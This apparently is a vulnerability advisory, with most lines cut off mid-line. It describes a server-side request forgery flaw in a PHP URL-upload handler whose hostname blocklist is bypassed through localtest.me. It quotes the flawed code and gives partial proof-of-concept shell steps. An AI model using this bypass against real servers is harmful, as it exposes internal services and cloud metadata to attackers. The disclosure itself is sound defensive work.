Summary
A Server-Side Request Forgery vulnerability exists in the URL-based
authenticated attacker can bypass the IP blocklist and force the se
localhost services and cloud metadata endpoints.

Vulnerability

The URL upload handler extracts the hostname using `parse_url()` ar

```php
$domain = parse_url($url, PHP_URL_HOST);

if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\
    $err = array("message" => "URL is not allowed");
    exit();
}

@$success = copy($url, $temp_file, $ctx);
```

The blocklist only checks string representations and misses several
other internal addresses:

Bypass	Resolves To
`http://localtest.me/`	127.0.0.1 (public DNS)

When the request succeeds, the response body is saved as a file in
manager viewer — allowing full response exfiltration.

Proof of Concept

Step 1 — Create the simulated internal service response:

```bash
echo "SSRF_CONFIRMED" > /tmp/test.txt
```

**Step 2 — Start a PHP server on localhost:9090 simulating an inter

```bash
php -S 127.0.0.1:9090 -t /tmp/
```

**Step 3 — Trigger the SSRF using `localtest.me` (resolves to 127.0

```bash
```